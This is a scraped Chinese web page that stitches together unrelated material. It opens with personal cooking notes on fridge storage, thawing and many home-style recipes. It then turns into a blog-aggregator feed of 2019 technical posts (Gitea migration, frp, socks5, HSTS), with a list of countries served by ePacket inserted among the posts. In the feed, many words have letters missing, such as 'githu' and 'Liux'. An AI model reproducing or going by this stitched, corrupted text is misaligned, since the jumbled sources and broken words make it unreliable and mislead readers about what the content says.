门把手处（频繁开关，温度高）
- 放干货、调料、饮料等对温度波动不敏感的食物
- 尽量不要放鸡蛋和酒，频繁震动和温度变化容易导致变质
上层（较暖，尤其是外侧）
- 放酱料、芝士等相对好保存食物
中层（视线最先接触）
- 放需要近期快速吃掉的食物，比如密封的剩菜、鸡蛋
下层（最冷，尤其是内侧）
- 放冷鲜鱼肉、豆制品、鲜奶等容易变质的食物
抽屉（有保湿作用）
- 最适合放蔬果，不容易焉
- 底层可以垫厨房纸
🔎 怎么放
避免过度包装
- 食物是通过冷空气循环降温的，包装太厚会降低冷却效果，费电。同理，整个冰箱最好别塞满，影响冷空气流动。
蔬菜瓜果
- 先简单分拣去除腐烂部分，吃之前再洗，或者洗了彻底晾干再进冰箱；然后用能吸水的纸包裹（比如厨房纸、牛皮纸），维持空气湿度。尽可能放在冰箱抽屉层，注意别被其他东西压住。
- 汆烫冷冻（适合西兰花、西葫芦）：沸水烫半分钟，蔬菜还是半熟状态，但已经灭菌灭酶，分装冷冻能放很久。
肉蛋海鲜
- 短期吃的肉：比如当配菜的肉丝、肉末，可以加生抽、糖、白胡椒粉简单调味后炒至断生，再冷藏，比直接生肉进冰箱更安全。
- 长期囤的肉：例如肉馅，可以分装成小份密封，锤扁后冷冻。
- 冷鲜肉：一直在 0℃ 至 4℃下低温排酸，不适合再冷冻了，会导致肉质收缩，建议冷藏并在 3 天内吃完。
- 鸡蛋：容易携带细菌，应该放在独立的蛋盒里，大头朝（鸡蛋的气室）上放，最多能保存 8 周；不要放在冰箱门上。
- 海鲜：放在 0℃ 保鲜层，或者冷藏室下层最靠内壁的地方吧，那里温度最低；海鲜一定要跟其他食物隔开，冷冻也一样，因为海鲜携带的很多耐冷病菌，是冻不死的。
水果
- 挑出烂的后用保鲜袋封好，放入冰箱，隔几天拿出来透个气。
- 三天内吃的水果：跟苹果 / 香蕉放到一个塑料袋里催熟。否则，反之。
- 切开的柠檬、牛油果、洋葱：使用硅胶保鲜盖密封。
速冻面点
- 淀粉类主食（包子、馒头、面包）先切片，用密封袋分装好，放进冷冻室，不能放冷藏室，因为容易老化。要吃的时候，提前一晚放到冷藏室解冻，喷点水，烤箱 180℃ 烤 3 分钟或平底锅烘热。
- 含有鸡蛋、糖、黄油成分的面包，更适合冷冻保存。
- 囤货顺序：软欧、吐司＞贝果、硬欧＞法棍、可颂。
- 没吃完的饺子、汤圆、点心一定要密封后放进冷冻室。
豆制品
- 容易变质，放在冷藏室下层最靠近内壁的位置（最内侧）。
- 想延长豆腐保鲜期，可以用烧开的盐水焯一下，能放两天。
- 包装豆腐开盒小技巧：先剪掉底部四个角，就能完整倒出来啦。
- 鲜豆浆通常不推荐隔夜。实在喝不完，煮沸后倒入密封盒，立刻盖上盖子，常温放凉到不烫手再冷藏，这时盖子应该是轻微凹下去的。这样保存的豆浆能放一晚。
最便捷安全的家庭剩菜储存方案：空气热胀冷缩嘛，所以密封摊凉后，盖子就凹下去了。由于里面是负压状态，再加上密封，里面空气跑不出去，外界细菌进不来。
不宜放进冰箱的食物
- 容易冻伤的食物：🍅 西红柿、🌶 青椒、🥒 黄瓜
- 没切的洋葱和蒜头
- 根茎类蔬菜：🥔 土豆、🍠 红薯、🎃 南瓜、🥕 胡萝卜、白萝卜
- 热带和亚热带水果：🍌香蕉、🥭 芒果
- 渗透压很大的食物（很咸、很甜、很油）：油、🍯 蜂蜜、咸菜、果脯，因为细菌无法繁殖。
- 干燥的食物：饼干、粉状和干制食品。
- 巧克力：适合在 20℃ 左右存放；或放进密封袋，挤出所有空气，再冷藏。从冰箱拿出来之后，也别急着打开袋子，等巧克力恢复常温再打开，能减少水汽凝结。
🔥 解冻食物
最危险的方式是室温解冻。另外切勿反复解冻（影响口感也不安全）。
- 在冰箱冷藏室放一晚，缓慢解冻。慢，但能最大限度保持肉的口感，例如牛排。
- 放在冷水里，每半个小时换一次水，解冻后必须立即烹煮。
- 微波炉解冻，解冻后必须立即烹煮。
♨️ 微波炉
- ♻️ 只有聚丙烯塑料（Polypropylene，简称 PP；在塑胶分类标志，PP 的代号是 5）才可以在微波炉中加热。
- 🥩 高脂肪水分少的食物（例如肥肉）不宜放进微波驴加热。就像做菜的时候，开锅热油之前，锅内不能有水。原理是水分被加热到了沸点，因为是均匀加热，同时，外层有油脂包裹，无法通过蒸发消耗能量来降低温度，于是一小团水分同时汽化，产生爆炸的现象。
- 🍱 正确地翻热：便当盒加热到非常烫手。
🍴 食谱工具
- 菜单一键生成：输入你的食材，一键生成 3 日菜单 - 下厨房
- 懒饭 app 或者 懒饭的微信小程序。
🍳 烹饪技巧
🥓 粤菜
🍲 煲仔饭
英文翻译：Claypot Rice with Sausage
Ingredients
- 大米洗净后浸泡 30 分钟
- 香菇提前泡好并切丝（香菇水留着）
- 腊肠切成薄片
- 腌排骨：加入洗干净的豆豉，少许油、盐、胡椒粉、生抽、蚝油和淀粉
- 青菜
- 姜丝
酱汁
- 老抽 : 生抽 = 1 : 4
- 蚝油
- 油
- 凉白开
- 糖（可选）
- 胡椒粉（可选）
- 料酒（可选）
- 味精（可选）
- 辣椒（可选）
怎么做
- 饭锅内壁抹油油
- 倒入泡好大米，加少许油、盐，加香菇水
- 加入腊肠、腌排骨、香菇和姜丝（提前炒制，味道更香）
- （期间给青菜焯水）
- 煮熟后锅边淋一点点油
- 夹出姜丝
- 加入一个鸡蛋、烫熟的青菜、葱花
- 然后淋上酱汁，搅拌一下
- 如果有小米电压力锅，最后用「开盖收汁」模式可以做出锅巴
🏠 客家菜
Hakka 煎酿六宝（我自己定义的）：酿豆腐、酿茄子、酿青椒、酿灯笼椒、酿香菇、酿苦瓜……
🐯 酿豆腐
酿是一个客家话动词，表示镶或植入馅料的意思，酿豆腐（Yong Tau Foo）即有肉馅的豆腐。
准备
- 老豆腐
馅料
- 干蘑菇切碎（提前加水泡软）
- 五花肉末
- 葱粒
- 胡椒粉
- 淀粉
- 生抽
- 盐
- 蚝油
- 油
- 蒜
- 料酒（可选）
- 虾米粒（可选）
- 胡萝卜丁（可选）
酱汁
- 胡椒粉
- 淀粉
- 生抽
- 盐
- 蚝油
- 油
- 水
- 糖（可选）
- 洋葱（可选）
酿肉（Stuff the paste）
- 动作要轻柔
热锅
- 油温上来后，先煎肉面，1 分钟之后翻面
- 放酱汁，中火煮 2 至 3 分钟
- 洒上葱花点缀，出锅装盘
😖 酿苦瓜
视频教程：苦瓜酿肉 by 王刚
温馨提示：瓜瓤是苦味的来源。
🥩 肉类
如何切肉
- 顺纹路切：筋少、细嫩、易碎的肉，比如鸡肉和鱼肉，保留其原有的纹路。
- 逆纹路切（即垂直于纹路切）：筋多、质老的肉，比如牛肉。
- 猪肉顺逆皆可。
添加调料的顺序
- 糖：提鲜
- 料酒：去腥
- 醋：去腥增香
- 盐：八成熟之后再加盐，不然肉质就变柴（老）了
- 酱油
忌放味精。
🐓 蒸鸡肉
如何让紧实的「走地土家鸡」蒸出来嫩滑嫩滑的：
- 盐
- 生抽
- 花生油
- 生粉
放在一起码味，然后加一点姜，蒸出来的鸡肉就非常嫩。
🦆 板栗啤酒鸭
食材
- 鸭肉洗净，切块。
- 一瓶啤酒。
- 去皮的板栗，对半切开。
做法
- 鸭肉冷水下锅，焯至变色，撇去浮沫，盛出备用。
- 锅里加少许油，放入生姜、八角等去腥香料。
- 鸭肉炒干后，加入酱油、蚝油、胡椒粉和干辣椒等提味剂，煸炒入味。
- 加入香叶、桂皮、板栗和啤酒（盖过食材），中火焖煮半个钟。
- 试味后，大火收汁。
🥢 豆角炒肉末
食材
- 400 克豆角切丁
- 150 克五花肉（肥七瘦三）剁成肉末
- 20 克大蒜拍散剁碎
- 20 克小米辣切碎
- 20 克碎米芽菜（或用橄榄菜代替）
烹饪
- 热锅，倒适量的油
- 加入肉末，开中火爆出猪油
- 加入蒜末、小米辣、碎米芽菜，开中火把料头爆香
- 加入豆角，开中火爆炒 1 分钟
- 加入生抽酱油 3 克，从锅边淋入，翻炒均匀
- 加入食用盐 1 克，鸡精 1 克，白糖少许，翻炒几下
- 出锅装盘
🥕 胡萝卜炒肉
Ingredients
- 🥩 五花肉切丝，加入料酒、盐、酱油、生粉、油，腌制一会
- 🥕 胡萝卜切丝
- 🔪 准备少许姜丝、葱丝、蒜片
点火
- 锅烧热后倒入食用油，待油温升高，加入五花肉，翻炒至发白
- 加入姜丝、葱丝、蒜片
- 加入胡萝卜丝
- 加入胡椒粉、盐和酱油，焖 2 分钟
- 最后加点葱花，出锅装盘
🥒 苦瓜炒肉
准备
- 蒜片，葱段
腌肉
- 🥩 肉切成薄片，放入盐、老抽、胡椒粉、料酒、糖（可选）、蛋清（可选），加水抓匀，然后加入 10 克淀粉抓匀、最后油封（防止下锅后粘连在一起）
焯苦瓜
- 苦瓜去瓤，切薄片
- 水烧开后，放盐、油、糖、苦瓜，断生后捞出备用
下锅
- 热锅，加油，下肉，炒至肉发白
- 加入蒜片、葱段、苦瓜，翻炒均匀
- 加盐（如不够味），勾薄芡，翻炒均匀，出锅装盘
🥒 青瓜炒肉
食材
- 🥒 2 根青瓜：切成 4 毫米左右的厚片；加入食用盐 1 勺，腌制 1 小时；加入清水洗净，捞出挤干备用
- 🥩 一小块五花肉，切成薄片备用
- 🌶️ 1 个红椒，切成小片备用
- 🌭️ 1 条火腿肠，切成薄片备用
- 3 颗大蒜，切成薄片备用
开锅
- 热锅，加油，下五花肉
- 中火爆香后，加入红椒、火腿肠和蒜片翻炒均匀
- 加入青瓜，翻炒均匀后加入 1 克食用盐、少许白糖和少许生抽
- 翻炒均匀，出锅装盘
视频教程
🍈 蒲瓜炒肉
- 蒲瓜洗净，去皮，切片，加盐腌 5 分钟（挤出水分后更脆，更甜
可选） - 蒜末
- 热锅，加油，放肉，放蒲瓜
- 加水，加点胡椒
- ……
- 最后加盐
- 失败了，摸索优化中
🥢 蒜苔炒肉
食材
- 切姜丝，葱，红椒丝（可选）
- 蒜苔洗净，掐掉尾巴，切掉蒜苔的根部（不脏不用切），然后切成小段（不要太长）
- 瘦肉（里脊肉）先逆筋切片，然后顺筋切丝，放入盐、老抽、胡椒粉、料酒、糖（可选）、蛋清（可选），加水抓匀，然后加入 10 克淀粉抓匀、最后油封（防止下锅后粘连在一起）
开锅
- 油温五成热，放肉，炒至发白（九分熟）
- 放葱姜、豆瓣酱（可选）、放入蒜苔（可以焯下水），小火翻炒，放少许料酒
- 最后勾薄芡，快速翻炒均匀，放点香油（可选）和醋（可选）后出锅装盘
🧄 大蒜炒肉
准备
- 中间切断，分开放蒜根和蒜叶，因为要分开炒
- 蒜根：斜刀切，便于入味和煮熟
- 蒜叶：沿着圆柱体方向对半切开，在切断
- 五花肉切片
- 姜片
开火
- 热锅，不用放油，放五花肉煸出香味（焦边），再放姜片
- 放料酒、酱油
- 放蒜根、一点盐、一点糖、一些老抽
- 放蒜叶
教程
🥦 西兰花炒肉
准备
- 西兰花切开洗净
- 提前腌制猪肉：酱油、盐、料酒、油、生粉
- 葱姜蒜
- 可有可无的配角：木耳、胡萝卜、红椒
制作
- 西兰花在加盐加油的沸水中焯一分钟左右
- 热锅，倒油，放姜蒜爆香，加入猪肉，炒至变色后放入西兰花
- 可选步骤：加一些蚝油和糖调味、淀粉水
- 出锅装盘
🦞 蒜蓉小龙虾
准备
- 小龙虾：刷洗干净，去除虾头和虾线，剪开虾背
- 蒜末：多一些
- 姜末：多一些
- 葱花
- 辣椒
- 啤酒
- 白糖
制作
- 可选步骤：小龙虾轻微炸一下。
- 热锅，放油，放蒜末和姜末，炒香。
- 放小龙虾。
- 放酱油、耗油、啤酒（盖住食材的量）、少许白糖，小火炖 10 分钟左右。
- 加入葱花，即可享用。
技术指导 OYQ。
🐟 鲳鱼
都叫鲳鱼，哪种更好吃，如何区分好吃鲳鱼和普通鲳鱼_哔哩哔哩_bilibili：
- 没有腹鳍
- 鳞片易掉
- 体色偏白
🥬 蔬菜
如何挑选蔬菜
- 🍆 茄子：紫色茄子的头部白皮越多则越嫩。
- 🥔 土豆：体形圆润，表面光泽。
- 🍅 番茄：表面光滑无坏坑，根蒂泛红有光泽。
- 🥦 花菜：紧实，表面干净。
- 🥬 包菜：叶球紧实，叶子新鲜，中心柱不突出。
- 🥒 黄瓜：有花，颜色墨绿，体态均匀。
焯青菜
- 水开再放青菜
- 放油
- 油会包裹在青菜周围，阻碍了水与蔬菜的接触，减少了水溶性物质的流失；
- 防止氧化酶破坏叶绿素，保持蔬菜鲜亮的颜色
添加调料的顺序
- 盐：蔬菜熟得更快，能保留更多的营养。
- 糖：增鲜（加了糖可以不加味精）
- 醋：炒白菜和炒土豆丝可以加一些醋
- 味精
注意
- 忌放酱油，既影响蔬菜清爽的色泽，酱香味还会遮盖蔬菜的本味。
- 炒绿叶青菜时不放醋，因为会破坏叶绿素，使菜色发黄，营养流失。
- 青菜想要油滋滋，加盐翻炒后，加少量水（使其受热均匀）。
🌱 炒番薯叶
英文：Fried sweet potato leaves.
配料：蒜末、豆豉
🥒 炒荷兰豆
起源
湾豆，种出荷兰国，台人窃种而植。实于春夏，亦实于冬。味甘。俗呼荷兰豆。by 《台海采风图》
荷兰豆如豌豆；然角粒脆嫩，清香可餐。by 《台湾志略》
海丰有雪豆，熟于大小雪时，名寒豆。by《广东新语》
英文
- Chinese pea
- snow pea
做法
- 荷兰豆加盐加油焯水
- 葱姜爆香，放入煮熟的荷兰豆
- 加盐调味（生粉水勾薄芡）
- 出锅
🥬 炒油麦菜
准备
- 较多的蒜末
做法
- 热锅，放多一些油
- 油温中等热，加入蒜末爆香
- 加入油麦菜，炒至断生
清炒派
- 盐
蚝油派
- 蚝油
- 生抽
- 胡椒粉
🥒 箩卜炒肉
- 绿萝卜切丝
- 装进保鲜袋，放盐，揉一揉
- 切开保鲜袋的某一角，把水挤出来
- 转移到菜篮子，静置半天
- 待口感爽脆之后，把盐清洗掉
- 拿来炒肉 🥩，加点辣椒 🌶，可以吃 2 碗饭
🌱 炒豆苗
Stir fried pea shoots。
- 豆苗浸水 30 分钟再沥干
- 大火：热锅，放较多的油
- 中火（防止姜蒜烧焦）：加姜，加蒜爆香
- 大火：炒豆苗
- 中途放一些花雕酒 / 绍兴酒
- 加鱼露（可选）
- 加盐
- 加糖：去除苦涩味
- 不要炒太熟
🥗 凉拌腐乳豆角
by 马小坏
- 开锅煮水
- 豆角洗干净，掐掉头尾，切段
- 在开水里加入
- 一大勺盐
- 一些油
- 豆角：煮 2 分钟至熟透，然后盛出到冷水中
- 在碗里放入以下材料，捣匀，加入热油
- 蒜末
- 切碎的（干）辣椒
- 2 块腐乳
- 一点点盐
- 少许生抽
- 把碗里的腌料倒在凉豆角上，腌制一会，即可享用
🥦 蒜蓉西兰花
参考做法：小高姐
🌿 炒芥兰
原料
- 葱末（可选）
- 姜末（可选）
- 辣椒丝（可选）
- 胡萝卜条（可选）
- 蒜末
- 挑选未开白花的芥兰（Chinese kale），削掉老根的皮（或直接切掉老根），切到尾部的老叶，然后把芥兰斜切成 3 厘米的小段（或从中间对半切开）
做法
- 开大火热锅，加少许油，加葱姜蒜爆香
- 放芥兰，出水后，加入盐、糖、味精，焖 1 分钟
🌿 蚝油芥兰
待补充。
🥬 蚝油生菜
食材
- 生菜切掉根部后，对半切开（可选），洗干净备用
- 蒜末
- 水淀粉
- 肉末（可选）
- 葱花（可选）
- 红椒丝（可选）
焯生菜
- 水烧开后，放盐、油、糖、生菜，断生（15 秒左右）后捞出备用
做浇头
- 油烧热，放蒜末煸香
- 加入少许清水、半碟生抽、一勺蚝油、水淀粉
- 加入少许肉末（可选）、红椒丝（可选）、少许盐或鸡精（可选）
- 淋在生菜上，加点葱花（可选），即可享用
🍆 豆角烧茄子
茄子：切成成长条，加盐腌制，挤出水分。
豆角（豇豆）：水煮，或小火慢慢炒至皱皮。
🎃 软烧南瓜
🥚 鸡蛋
鸡蛋是大自然赠与人类营养最均衡的平价食物之一。
🥚 镜面鸡蛋羹
- 蒸锅中开始烧水。
- 与此同时，在碗中中加入鸡蛋 2 个（egg 2），然后按照一个方向轻柔地打鸡蛋，打到略微起泡沫，蛋液里没有明显的絮状物。
- 再加入温水 250 克（water 250 g）。
- 蛋水混合物的最佳配比在 1:2 到 1:3 之间，如果是家常用的吃饭小碗，打 1 个鸡蛋下去，需要加水到四分之三碗。
- 不要放冷水，不要放生水，最好放温水。
- 接着再打，直到搅拌均匀。
- 可以放一点点料酒和一点点盐（Salt）。
- 静置 3 至 5 分钟，等待浮沫散去。碗边剩余的顽固浮沫怎么处理：
- 用一张餐巾纸叠成方块，沿着碗边用四个角轻轻扫一圈，就能把气泡全部吸走。
- 用一把金属刀叉在火上烤热，顺着边划一圈，那些气泡就会纷纷炸裂。
- 上锅，为防止水蒸气破坏「镜面」：
- 保鲜膜密封后，扎一些针眼
- 盖一个盘子
- 小火蒸 5 至 6 分钟后，关火焖 5 分钟（low heat steam for 6 minutes, and turn off the heat, wait for 5 minutes to open the lid)。
- 加入酱油、水和香油调味（season with soy sauce, water and sesame oil）。
Tips
- 水和盐可以用肉汤代替。
- 其它加热方法：微波炉热 2 分半钟（microwave oven 2.5 minutes）
未亲测
Tutorials
- 用科学的方法蒸出完美的鸡蛋羹 by 小高姐
- 任何人都不能否认，鸡蛋羹是一道严肃而完整的菜肴……一碗水，一个蛋，构成了生活里最简易的仪式感……喜欢多孔蛋羹，或者是镜面蛋羹，这是个人口味的差异。但我始终坚持认为，能否做出镜面蛋羹，体现了一个人对现实世界的控制水准。 by 一碗镜面鸡蛋羹 - 槽边往事
🥒 丝瓜蛋汤
准备
- 丝瓜（Luffa）削皮切块
- 鸡蛋 2 个
- 蒜末
- 葱花
做法
- 热锅，烧油
- 将整个鸡蛋打入锅中，用小火煎成两面焦黄（煎完一个鸡蛋再煎下一个），然后切块备用
- 热锅，烧油，放入蒜末爆香，倒入丝瓜炒一会，加一点白醋
- 加一碗水，倒入蛋饼
- 水开后加入一勺盐、少许鸡精、少许百胡椒、一点糖、少许香油
- 最后撒上葱花，即可享用
🍅 番茄炒蛋
- 西红柿 2 个（300 克），切成滚刀块（Rolling Cut：将食材滚起来切）
- 碗中加入以下食材后搅拌均匀备用
- 打入鸡蛋 3 个
- 少许食用盐
- 白醋 1 克（去除鸡蛋的腥味，增加鲜味）
- 烧锅，加适量植物油
- 油温四成热之后加入打好的蛋液
- 开小火煎 1 分钟至蛋液定型，翻过来炒香之后备用
- 加少许底油，加西红柿，开小火翻炒几下
- 加入番茄酱 5 克，增加香味和成色
- 加适量的清水，开小火烧 1 分钟
- 加入盐 1 克，白糖 1 克（平衡酸味）
- 番茄烧软之后加入适量的水淀粉（可选）、少许明油
- 最后加入鸡蛋，翻炒几下，加点葱花，即可出锅装盘
🏀 菠菜煎蛋
🥒 苦瓜煎蛋
- 苦瓜（bitter melon）1 条，对半切开 2 次，切薄片。
- 烧一锅开水，加入盐、糖和油、放入苦瓜焯水 30 秒，捞出，冷水降温。
- 碗中打入 3 个鸡蛋，加入盐和胡椒粉，搅拌一分钟，使鸡蛋充分吸收空气，然后加入苦瓜片，搅拌均匀。
- 宽油滑锅，加底油；倒入蛋液，摊开；小火煎 3 分钟至金黄色（期间不断摇动蛋饼），翻面煎 2 分钟，即可出锅装盘。
🍳 菜脯煎蛋
- 发音：菜脯（fǔ）；胸脯（pú）
- 翻译：Preserved Radish Omelet
准备
- 葱花（Scallion）
- 萝卜干用流动的水洗去盐分（不要泡水，吸水过多会失去弹性），切丁
- 可选步骤：用吸油纸吸掉 萝卜干的水分
- 4 颗鸡蛋（比人头多 1 颗）
制作
- 锅里放油，将菜脯丁放入锅内炒香。
- 取一个深口碗，将鸡蛋打发（Beat the eggs），即把空气打进蛋液，煎出来到鸡蛋才蓬松。
- 把葱花和炒好的菜脯倒入蛋液内，拌匀。
- 锅里放多点油（煎蛋才会蓬松），烧至八分热，将蛋液倒入锅内，翻动，翻面。
教程
🍺 韭菜炒蛋
Chinese Chive Fried Egg by 王刚 - YouTube
- 韭菜（韭黄）切短一些
- 碗中加入
- 鸡蛋 5 个
- 食用盐 1 勺
- 胡椒粉 0.5 勺
- 白醋 2 克：使其鲜香
- 土豆淀粉（水淀粉）适量：减少蛋液吸油
- 搅拌到起泡后，加入切好的韭菜，并搅拌均匀
- 热锅，加食用油，油温 5 成热
- 加入食材，开中小火 1 分钟
- 翻面，煎 30 秒
- 炒出锅气，即可出锅装盘
🥘 蛋炒饭
Ingredients
- 1 盘捣碎的冷饭 / 隔夜饭
- 2 个鸡蛋：分离蛋清和蛋黄；蛋黄搅散
- 可选食材
- 玉米粒：使炒饭鲜甜
- 腊肉丁和香肠丁：代替食盐
- 鲜香菇丁：代替味精
- 葱花
Cooking
- 烧锅（冒烟），宽油
- 加蛋清，炒熟，备用
- 加少许植物油，放蛋黄，爆香
- 加玉米粒、腊肉丁和香肠丁，开中小火，和蛋黄一起爆香
- 加蛋清，全部一起翻炒均匀
- 加米饭、香菇丁，小火翻炒 5 分钟，炒出锅气为止（糊锅前 2 秒）
- 加少许生抽从锅边淋入，转大火翻炒几下
- 加适量葱花，翻炒均匀
- 出锅装盘
参考视频
喜欢吃的食物
- 过餐的酿苦瓜和酿茄子
- 红酒糟焖五花肉
- 榴莲千层蛋糕
- 番茄炒蛋
- 盐焗鸡爪
🔗 关联阅读
- 小高姐的魔法调料
- 都市生活下厨指南 by 張奕源Nick
- 一个人也要好好吃饭——都市青年做饭指北 by 100gle
- 上班族便当：如何做一个坚持带饭半年的靓仔 by 100gle
- 夏天带饭，如何安全美味两不误？by 范志红
- 如何正确切土豆丝 by 王刚
- 在一个纷扰庸俗的世界，如何做一个高质量的单身青年？- 好奇心日报
人生不能像做菜，把所有的料都准备好了才下锅。by《饮食男女》。
愿你及早开始学做菜，给生活加一道菜。
- 博客 轶哥博客 2019-06-12 08:38:10<>迁移
githu私有/公有仓库到gitea是一件容易的事情，不过可能由于网络原因，部分较大的项目可能会失败。此脚本会自动过滤已经迁移完成的仓库，因此重复执行脚本直至gitea中的仓库和githu中的仓库数量一致，即表示迁移完成。gitea迁移失败的仓库会被系统自动删除，因此可能出现仓库数量浮动。为了确保代码资产安全，您在迁移完成后应该间隔十分钟再次执行，直到gitea中的仓库和githu中的仓库数量仍然一致。<>需要注意，使用该脚本前，需创建一个Githu Toke，并且需要临时关闭Two-factor autheticatio。 - 博客 Randy's Blog 2019-06-12 08:00:001703
- 博客 Randy's Blog 2019-06-11 08:00:001704
- 博客 Jiajun的编程随想 2019-06-11 08:00:00《frp 源码阅读与分析(一)：流程和概念》frp 是一个比较流行的用于内网穿透的反向代理服务器，与Nginx不同，一般我们使用Nginx做负载均衡，而frp我们一般用来做内网穿透。先来看看Nginx和frp流量走向的区别。这是Nginx的流量走向示意图...
- 博客 Jiajun的编程随想 2019-06-10 08:00:00《学习frp源码之简洁的在两个connection之间转发流量》在阅读frp的代码时，发现这样一个技巧，即使用 `io.CopyBuffer` 来把两个连接之间的流量互转。```go...
- 博客 Jiajun的编程随想 2019-06-09 08:00:00《自己动手写一个反向代理》[此前谈到网络编程的重要性](https://jiajunhuang.com/articles/2019_06_06-ip_ban.md.html)，放假在家做了一个反向代理。目前来说，比较好用的反向代理是 [frp](https://github.com/fatedier/frp)。但是用归用，造轮子归造轮子。明白了底层原理，才心安...
- 博客 Jiajun的编程随想 2019-06-08 08:00:00《读《债务危机》》最近读了《原则》一书作者的另一本书，《债务危机》，花了点时间，昨天才读完。这本书主要是以20世纪到2018年世界范围内发生的...
- 博客 Jiajun的编程随想 2019-06-08 08:00:00《从XMonad迁移到i3》XMonad用了很多年了，但是ArchLinux上，Haskell的包更新太频繁了，而XMonad的配置语言使用Haskell，每次更新之后，如果没有编译一下，可能下次就进不去了，而且ArchLinux上Haskell的包分得太小了，再加上我使用Haskell就是为了写配置文件，但是配置文件不常更新，因此有点忘记了...
- 博客 轶哥博客 2019-06-07 23:11:41<>
Electro 应用分发系统提供应用程序编译（支持Widow、Liux、MacOS）、自动升级、分发服务。让Electro应用分发变得非常容易。<><>开源地址：htt://githu.com/yi-ge/electro-ditriutio<>使用时需要注意，一个
git仓库需对应一个Electro应用程序，一个Electro应用程序对应需要部署一套应用分发系统。<>Electro 应用分发系统服务器端工作在64位Liux操作系统（必须）和MacOS（可选），默认编译x64应用程序, 其它平台及架构需要修改相应代码（不过这很容易实现）。 - 博客 Jiajun的编程随想 2019-06-06 08:00:00《服务器IP被ban学到的经验》最近服务器被ban了，然后连续几天晚上都在处理各种数据迁移。真把我累惨了，今天终于处理的差不多了，总结一下经验和教训：- 学会网络安全太重要了，要学会在网络上隐身。不过由于我在网络上留下了很多痕迹，想要隐身已经不太可能了，但是可以从现在开始...
- 博客 Jiajun的编程随想 2019-06-06 08:00:00《socks5 协议详解》`socks5` 是一个简单的代理协议，这里是 [RFC](https://tools.ietf.org/html/rfc1928)。...
- 博客 Jiajun的编程随想 2019-06-04 08:00:00《开启HSTS(HTTP Strict Transport Security)》HSTS(HTTP Strict Transport Security) 的作用就是，当你使用了一次之后，浏览器就会记住这个选项，之后都是直接访问HTTPS。原理是通过设置一个头部：`Strict-Transport-Security: max-age=15552000; includeSubDomains`。格式是 `Strict-Transport-Security: max-age=<过期时间>; includeSubDomains`...
- 博客 庭说 2019-06-02 00:00:00
e 邮宝（ePacket）是邮政速递物流为适应跨境电商轻小件物品寄递需要推出的经济型国际速递业务，利用邮政渠道清关，进入合作邮政轻小件网络投递。主要路向参考时限 7 至 10 个工作日，价格实惠，提供全程物流轨迹信息。但只支持 39 个国家或地区，且单件限重 2 公斤（最大长度 60 厘米，长宽高不超过 90 厘米）。
全部
序号 英文 中文 1 Australia 澳大利亚 2 Austria 奥地利 3 Belgium 比利时 4 Brazil 巴西 5 Canada 加拿大 6 Denmark 丹麦 7 Finland 芬兰 8 France 法国 9 Germany 德国 10 Greece 希腊 11 Hong Kong 中国香港 12 Hungary 匈牙利 13 Ireland 爱尔兰 14 Indonesia 印度尼西亚 15 Israel 以色列 16 Italy 意大利 17 Japan 日本 18 Kazakhstan 哈萨克斯坦 19 South Korea 韩国 20 Luxembourg 卢森堡 21 Malaysia 马来西亚 22 Mexico 墨西哥 23 Netherlands 荷兰 24 New Zealand 新西兰 25 Norway 挪威 26 Poland 波兰 27 Portugal 葡萄牙 28 Russian Federation 俄罗斯 29 Saudi Arabia 沙特阿拉伯 30 Singapore 新加坡 31 Spain 西班牙 32 Sweden 瑞典 33 Switzerland 瑞士 34 Thailand 泰国 35 Turkey 土耳其 36 Ukraine 乌克兰 37 United Kingdom 英国 38 United States 美国 39 Vietnam 越南 分类
北美洲（North America）
英文 中文 Canada 加拿大 Mexico 墨西哥 United States 美国 南美洲（South America）
英文 中文 Brazil 巴西 大洋洲（Oceania）
英文 中文 Australia 澳大利亚 New Zealand 新西兰 欧洲（Europe）
英文 中文 Austria 奥地利 Belgium 比利时 Denmark 丹麦 Finland 芬兰 France 法国 Germany 德国 Greece 希腊 Hungary 匈牙利 Ireland 爱尔兰 Italy 意大利 Luxembourg 卢森堡 Netherlands 荷兰 Norway 挪威 Poland 波兰 Portugal 葡萄牙 Russia 俄罗斯 Spain 西班牙 Sweden 瑞典 Switzerland 瑞士 Ukraine 乌克兰 United Kingdom 英国 亚洲（Asia）
英文 中文 Hong Kong 中国香港 Japan 日本 Kazakhstan 哈萨克斯坦 South Korea 韩国 东南亚（Southeast Asia）
英文 中文 Indonesia 印度尼西亚 Malaysia 马来西亚 Singapore 新加坡 Thailand 泰国 Vietnam 越南 中东（Middle East）
英文 中文 Israel 以色列 Saudi Arabia 沙特阿拉伯 Turkey 土耳其 参考资料
- 博客 Jiajun的编程随想 2019-06-01 08:00:00《网络乞讨之合并支付宝和微信的收款二维码》在博客的右边加了一个网络乞讨的二维码，但是支付宝和微信分别有两个二维码，要想个法子把它们合并一下。于是把支付宝和微信的收款二维码解码了一下(可以找二维码解码工具，如果是iOS用户，直接用自带的相机扫描，就会弹出来是否打开)，发现支付宝的是一个链接，但是微信的是一个自有链接...
- 博客 Jiajun的编程随想 2019-06-01 08:00:00《从Chrome切换到Firefox》Chrome一家独大之后，就喜欢开始搞幺蛾子，商业公司毕竟是商业公司。再加上Chrome实在是越来越卡，让我的老本子打开都要白屏加载好几秒钟，试用了一下Firefox Quantum，发现Firefox已经不是当年的Firefox，响应非常快，常见的插件也都有，于是就直接切换到Firefox了...
- 博客 Jiajun的编程随想 2019-05-31 08:00:00《nomad简明教程》k8s其实太复杂，对于小团队来说，光是hold住k8s就要花好几个人力，而且k8s更新迭代太快了，有种上了贼船就下不来的感觉。nomad就简单多了，就是一个调度器，啥也不带，显得有点简陋，不过，对于中小型团队来说，完全足够...
- 博客 Jiajun的编程随想 2019-05-31 08:00:00《Linux下当笔记本合上盖子之后只使用扩展显示器》鉴于我的笔记本是7年前的本子，那会儿分辨率还是 `1366x768`，辣眼睛，所以接了一个扩展显示器，笔记本呢，就丢在角落里，连几根线出来就可以了。但是有个问题就是，每次打开的时候，`XMonad` 都以为是两个屏幕，因此它会开两个 `workspace`，所以要实现这么一个目的，就是打开图形界面登录的时候，检测一下是不是接了扩展显示器，而且笔记本的盖子是关着的。实现方式就是...
- 博客 Jiajun的编程随想 2019-05-30 08:00:00《Ubuntu 18.04 dhcp更换新IP》今天在准备弄一个虚拟机集群，自然是装好一个，然后clone成三份。但是有一个问题，clone的时候虽然选择了更换 `MAC` 地址，但是起来之后发现ip地址还是没变。原来是 `systemd-networkd` 的老bug。它不是根据 `MAC` 地址来决定是否换IP，而是根据 `/etc/machine-id`来计算出来一个值，如果这个值发生了变化，那么就更换IP地址...
